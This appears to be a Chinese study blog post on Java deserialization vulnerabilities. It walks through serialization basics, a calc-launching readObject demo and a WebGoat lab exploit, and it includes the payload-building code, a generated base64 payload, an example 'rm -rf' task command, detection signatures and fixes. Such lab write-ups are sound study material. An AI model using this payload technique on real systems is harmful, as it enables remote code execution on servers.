Java代码审计安全篇-反序列化漏洞

前言:

 堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油

注意:

本文章参考qax的网络安全java代码审计和部分师傅审计思路以及webgoat靶场,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

初识 Java序列化和反序列化:

1.概念:

       序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。

         反序列化是该过程的反面,从某种格式获取数据,并将其重建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

2. 好处:

能够实现数据的持久化,通过序列化可以把数据永久保存在硬盘上,也可理解为通过序列化将数据保存在文件中。

3.序列化和反序列化的过程举例:

参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html

类文件 Person.java

package lemo;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化文件:SerializationTest.java 

package lemo;

import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

反序列化文件:UnserializeTest.java

package lemo;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);//反序列化
    }
}

我们运行SerializationTest.java得到

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化

      在 serialize 方法的实现中,首先创建了一个 ObjectOutputStream 对象 oos,它接受一个 FileOutputStream 对象作为参数,用于指定输出流写入的文件名为 "ser.bin"。然后,通过调用 oos.writeObject(obj) 方法,将传入的对象进行序列化,将序列化后的数据写入输出流。

 我们运行UnserializationTest.java得到

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();

 readObject()方法被调用,它从输入流中读取字节并将其反序列化为对象

注意: 
1.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

2.transient 标识的对象成员变量不参与序列化

举例:

将 Person.java中的name加上transient的类型标识

加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现

 name打印为NULL 是因为transient 标识的对象成员变量不参与序列化

 初始反序列化漏洞

 序列化和反序列化中有两个重要的方法————writeObject和readObject

上面举例也是使用这两个方法

1.可能存在漏洞的场景

(1)入口类的readObject直接调用危险方法

我们只需在Person.java里面添加一个触发计算器的代码:

package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private transient String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段
        Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。
    }
}

先后运行序列化 和反序列化代码就会发现弹出了计算器 

只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的readObject()执行了Runtime.getRuntime().exec("calc"),而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

(2)入口参数中包含可控类,该类有危险方法,readObject时调用

(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4)构造函数/静态代码块等加载时隐式执行

2.Webgoat说明

ClassPath 中包含的类

攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

 利用:

如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

原理跟上边那个差不多 

 3.Webgoat靶场实战
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

 

得到InsecureDeserializationTask.java源码 

package org.owasp.webgoat.deserialization;

import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;
import java.util.Base64;

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
        String b64token;
        long before;
        long after;
        int delay;

        b64token = token.replace('-', '+').replace('_', '/');

        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();
        } catch (InvalidClassException e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        } catch (IllegalArgumentException e) {
            return failed(this).feedback("insecure-deserialization.expired").build();
        } catch (Exception e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        }

        delay = (int) (after - before);
        if (delay > 7000) {
            return failed(this).build();
        }
        if (delay < 3000) {
            return failed(this).build();
        }
        return success(this).build();
    }
}

后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。 

那我们就重点关注VulnerableTaskHolder类的实现:

源码:

package org.dummy.insecure.framework;

import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class VulnerableTaskHolder implements Serializable {

	private static final long serialVersionUID = 2;

	private String taskName;
	private String taskAction;
	private LocalDateTime requestedExecutionTime;
	
	public VulnerableTaskHolder(String taskName, String taskAction) {
		super();
		this.taskName = taskName;
		this.taskAction = taskAction;
		this.requestedExecutionTime = LocalDateTime.now();
	}
	
	@Override
	public String toString() {
		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
				+ requestedExecutionTime + "]";
	}

	/**
	 * Execute a task when de-serializing a saved or received object.
	 * @author stupid develop
	 */
	private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
		stream.defaultReadObject();
		
		//do something with the data
		log.info("restoring task: {}", taskName);
		log.info("restoring time: {}", requestedExecutionTime);
		
		if (requestedExecutionTime!=null && 
				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
			//do nothing is the time is not within 10 minutes after the object has been created
			log.debug(this.toString());
			throw new IllegalArgumentException("outdated");
		}
		
		//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}
       
    }
	
}

 关注readObject方法

if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的

然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间

所以我们只需关注 taskAction变量

然后根据上面的漏洞利用进行构造paylaod

 

 注意两点:

创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;

创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

 我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.util.Base64;

  
public class VulnerableTaskHolder {  
  
    static public void main(String[] args){  
        try{  
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            ObjectOutputStream oos = new ObjectOutputStream(bos);  
            oos.writeObject(go);  
            oos.flush();  
            byte[] exploit = bos.toByteArray();  
            String exp = Base64.getEncoder().encodeToString(exploit);  
            System.out.println(exp);  
        } catch (Exception e){  
  
        }  
    }  
}

或者使用ping 

package org.dummy.insecure.framework;

import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class VulnerableTaskHolder implements Serializable {
	private static final long serialVersionUID = 2;
	
	private String taskAction;
	
	public VulnerableTaskHolder(String taskAction) {
		this.taskAction = taskAction;
	}
	
	public static void main(String[] args) throws IOException {
		VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");
		ByteArrayOutputStream bOut = new ByteArrayOutputStream();
		ObjectOutputStream objOut = new ObjectOutputStream(bOut);
		objOut.writeObject(vuln);
		String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
		System.out.println(str);
		objOut.close();
	}
}

生成

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

 提交成功

 如何发现漏洞

参考https://www.cnblogs.com/yokan/p/15232644.html

1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB

2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口

3.从源码入手,可以被序列化的类一定实现了Serializable接口

4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。

其他反序列化漏洞 

Apache Shiro 反序列化漏洞

后面再学吧 可参考

https://cloud.tencent.com/developer/article/2396001

fastjson 漏洞

 一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

这个当然还有其他的后面再深入了解了解

修复

 1. 通过Hook resolveClass来校验反序列化的类

 2. 使用ObjectInputFilter来校验反序列化的类

 3. 黑名单校验修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/460432.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Go-知识select

Go-知识select 1. select 的特性1.1 chan读写1.2 返回值1.3 default 2. select 经典使用2.1 永久阻塞2.2 快速检错2.3 限时等待 3. 实现原理3.1 数据结构3.2 实现逻辑3.3 原理总结 4. 总结4.1 大概原理4.2 参数4.3 返回值 一个小活动&#xff1a; https://developer.aliyun.com…

AMRT 3D 数字孪生引擎(轻量化图形引擎、GIS/BIM/3D融合引擎):智慧城市、智慧工厂、智慧建筑、智慧校园。。。

AMRT3D 一、概述 1、提供强大完整的工具链 AMRT3D包含开发引擎、资源管理、场景编辑、UI搭建、项目预览和发布等项目开发所需的全套功能&#xff0c;并整合了动画路径、精准测量、动态天气、视角切换和动画特效等工具。 2、轻量化技术应用与个性化定制 AMRT3D适用于快速开…

openGauss学习笔记-243 openGauss性能调优-SQL调优-典型SQL调优点-子查询调优

文章目录 openGauss学习笔记-243 openGauss性能调优-SQL调优-典型SQL调优点-子查询调优243.1 子查询调优243.1.1 子查询背景介绍243.1.2 openGauss对SubLink的优化243.1.3 更多优化示例 openGauss学习笔记-243 openGauss性能调优-SQL调优-典型SQL调优点-子查询调优 SQL调优是一…

Scala--01--简介、环境搭建

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1. Scala简介1.1 Scala是什么&#xff1f;官网&#xff1a; [https://scala-lang.org/](https://scala-lang.org/)官方文档&#xff1a; [https://docs.scala-lang.…

WPF布局、控件与样式

视频来源&#xff1a;https://www.bilibili.com/video/BV1HC4y1b76v/ 布局 常用布局属性 HorizontalAlignment&#xff1a;用于设置元素的水平位置VerticalAlignment&#xff1a;用于设置元素的垂直位置Margin&#xff1a;指定元素与容器的边距Height&#xff1a;指定元素的…

音频提取:分享几个常用方法,简单好用

有时候我们会在视频中发现一首非常好听的歌曲&#xff0c;但是我们并不需要视频本身。 这时&#xff0c;我们可以提取视频中的音频&#xff0c;将其转化为音频文件&#xff0c;然后在任何时间、任何地点进行欣赏。 下面给大家分享几个提取视频中音频的几个方法&#xff0c;供…

[嵌入式AI从0开始到入土]16_ffmpeg_ascend编译安装及性能测试

[嵌入式AI从0开始到入土]嵌入式AI系列教程 注&#xff1a;等我摸完鱼再把链接补上 可以关注我的B站号工具人呵呵的个人空间&#xff0c;后期会考虑出视频教程&#xff0c;务必催更&#xff0c;以防我变身鸽王。 第1期 昇腾Altas 200 DK上手 第2期 下载昇腾案例并运行 第3期 官…

css 各种方位计算 - client系列 offset系列 scroll系列 x/y 系列

offset系列 HTMLElement.offsetTop - Web API 接口参考 | MDN 一文读懂offsetHeight/offsetLeft/offsetTop/offsetWidth/offsetParent_heightoffset-CSDN博客 client系列 搞清clientHeight、offsetHeight、scrollHeight、offsetTop、scrollTop-CSDN博客 scroll系列 秒懂scr…

RabbitMQ:1.概述及安装

概述 AMQP协议 MQ Message Queue&#xff08;消息队列&#xff09;是在消息的传输过程中保存消息的容器&#xff0c;多用于系统之间的异步通信 AMQP Advanced Message Queuing Protocol(高级消息队列协议)是一个网络协议&#xff0c;2006年AMQP规范发布【类比HTTP】 专门为消…

ubuntu安装zsh及环境配置

ubuntu安装zsh及环境配置 MacBook 安装 zsh 个人很喜欢使用zsh,它的终端显示很清晰,命令都很友好,使用git时,直接可以看到当前分支和修改状态 zsh安装 1.查看当前系统装了哪些shellcat /etc/shells 2.当前正在运行的是哪个版本的shellecho $SHELL 3.安装zshsudo apt-get -y …

【项目笔记】java微服务:黑马头条(day03)

文章目录 自媒体文章发布1)自媒体前后端搭建1.1)后台搭建1.2)前台搭建 2)自媒体素材管理2.1)素材上传2.2.1)需求分析2.2.2)素材管理-图片上传-表结构2.2.3)实现思路2.2.4)接口定义2.2.5)自媒体微服务集成heima-file-starter2.2.6)具体实现 2.2)素材列表查询2.2.1)接口定义2.2.2…

【Algorithm】动态规划和递归问题:动态规划和递归有什么区别?如何比较递归解决方案和它的迭代版本?

【Algorithm】动态规划和递归问题:动态规划和递归有什么区别?如何比较递归解决方案和它的迭代版本? 1. 动态规划(Dynamic Programming,DP)和递归定义及优缺点1.1 递归 (Recursion)定义及优缺点1.2 动态规划 (Dynamic Programming)定义及优缺点2. 动态规划(DP)和递归的特…

platform设备注册驱动模块的测试

一. 简介 上一篇文章编写了 platform设备注册代码&#xff0c;文章地址如下&#xff1a; 无设备树platform驱动实验&#xff1a;platform设备注册代码实现-CSDN博客 本文继续无设备树platform驱动实验&#xff0c;本文对编译好的 设备注册程序进行测试&#xff0c;测试所实…

Linux远程连接本地数据库(docker)

1. 安装docker 参考上一篇文章 CentOS安装Docker 2. Linux中安装Mysql 2.1 docker拉取mysql镜像 拉取镜像 docker pull mysql查看镜像列表 docker images2.2 运行mysql容器 运行一个名字为mysql的mysql容器&#xff0c;其连接端口号为3306&#xff0c;密码为123456 docker r…

运行gazebo机器人模型没有cmd_vel话题

运行赵虚左教程代码出现上诉问题 roslaunch urdf02_gazebo demo03_env.launch 原因&#xff1a;缺少某个包 在工作空间catkin_make编译发现报错 解决&#xff1a; sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control 下载后再次运行launch文件…

unity学习(59)——选择角色界面--MapHandler1

map内容需要结合客户端和服务器两部分的流程&#xff1a; 1.客户端第一次发出的command的4&#xff0c;选择请求&#xff1a; 2.服务器做出相应&#xff1a; select的内容&#xff0c;最后就是返回当前玩家的playerModel结构体。 3.去客户端里找type 2&#xff08;user2&#…

服务器数据恢复—服务器硬盘灯显示红色的数据恢复案例

服务器数据恢复环境&故障&#xff1a; 一台服务器中有一组由多块硬盘组建的raid阵列&#xff0c;在运行过程中服务器突然崩溃&#xff0c;管理员检查服务器发现该服务器raid阵列中有两块硬盘的指示灯显示红色。于是&#xff0c;管理员重启服务器&#xff0c;服务器重启后&a…

maven私服搭建详细教程

1、为什么需要私服 如果在公司中多个项目模块中的的公共类用的都是一样的&#xff0c;那么不可能将这些一样的代码写两遍。所以将其中一个项目中的代码打包成私服&#xff0c;然后在另外一个模块中去进行引用。 除此之外&#xff0c;如果大公司中开发人员较多&#xff0c;大家同…

Dev C++和Visual Studio Code哪个好?

Dev C和Visual Studio Code哪个好&#xff1f; Dev C和Visual Studio Code都是常用的集成开发环境&#xff08;IDE&#xff09;&#xff0c;用于编写和调试代码。它们各自有不同的优点和适用场景。 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「C的资…

对模型性能进行评估(Machine Learning 研习十五)

在上一篇我们已然训练了一个用于对数字图像识别的模型&#xff0c;但我们目前还不知道该模型在识别数字图像效率如何&#xff1f;所以&#xff0c;本文将对该模型进行评估。 使用交叉验证衡量准确性 评估模型的一个好方法是使用交叉验证&#xff0c;让我们使用cross_val_score…